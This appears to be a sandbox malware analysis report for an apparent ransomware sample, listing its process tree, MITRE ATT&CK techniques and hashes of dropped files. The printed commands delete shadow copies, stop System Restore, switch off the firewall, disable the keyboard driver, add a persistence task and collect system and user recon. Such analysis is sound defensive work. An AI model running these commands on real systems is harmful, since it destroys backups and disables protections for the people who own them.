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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1908
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3544
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5644
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3064
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2140
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5812 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4764
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5860 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6080
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3504 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:5756
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2496
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3324
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5056
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5060
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1400
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3800
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5196
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a24055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4068
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C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exeC:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe1⤵PID:4804
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:124
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C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exeC:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe1⤵PID:4540
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5868
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 f7c397e10ee745464880cbe940210fe7858f2cabd36f7573f7df8f28e5b6dfa5
- MD5 0aed6d2ff0948422aca719acda289c36
- SHA1 78e5cb213ec92946543b758b602378f73f8fd12f
- SHA512 228bbae538236aeefeb7d0cffecf43d9786753a52412268fdc74d07a557836b741833bbef845371783222368e031e31266322e20aaec82e81940aa7b150586a1
- SSDEEP 1536:52Rveo0zwn1+7cRMa3EJmqF+D85NlczBcahCBJA8ezply9ueJzRBDEI8Dpx7liYL:5gvQzwnA81EXm85jczBcaBzpl6uUzRR6
- TLSH T1A3633B378A23FCD5677F3E80E06439920C88396747B1A668FBC509993CB5684DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 239B
- SHA256 e512ce1b2e39fa724b1b108d485b3f522abeb9be35ff31cfb47d765a8350d27a
- MD5 f65089cc7ad111ff3087f48e300112fa
- SHA1 af8592552fa2713251621300d8e46253d386826c
- SHA512 bf362f314593fb02da7c0743436d8699da9e17da8da21db56bc6c0b52e50aafa95b0c1e7253ba6041f2e547fdcbf0c2f8165bee623f4a550cdc99699eda6109c
- TLSH T1B8D0A78BB14DC6AD0001127B81F3CE8DE5A548293B17BEA09AA5DD4E32D08C589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 240B
- SHA256 8f1922a55c362e139e9ae662f7901c03b13d0769086906f60a32b66df4f7c3fb
- MD5 745d94ce428df16639d388b6cc109fb8
- SHA1 19125b27fb7c6c542f309733ac2fddd9bf1de5dd
- SHA512 13ff0e2fe6d426323b7c430bbca51c94d129e353894aeef9679d0a2b51f085427c97fc5f7bd8d60a479e2f5b6389e8adb5ff971973176b9f3a7cde691d303392
- TLSH T1A6D0A78BB14DC6AD0001127B80F3CE8DE6E548293B17BE609AA5DD0F32C088589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 c6c7d0350817cb6a00a8bf53e891ca56583802c59d40dd38cf9bb86713875671
- MD5 2e087bfe6a612a01d6149dc609f448bb
- SHA1 b868e2524e8a9e3f705203c47f13fcfcf3f7959d
- SHA512 dabc42f77475c485c000281567c3868569d27fee28420a83920c58a203b377a7ec60023123c9addb7adc31adc9ab606410a2e3d9b11a9c175c8e7ebf91e6d041
- SSDEEP 1536:Z2Rveo0zwn1+7cRMa3EJmqF+D85NlczBcahCBJA8ezply9ueJzRBDEI8Dpx7liYQ:ZgvQzwnA81EXm85jczBcaBzpl6uUzRRj
- TLSH T11D633B378A23FCD5677F3E80E05439920C88396747B1A678FBC50A993CA56C4EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH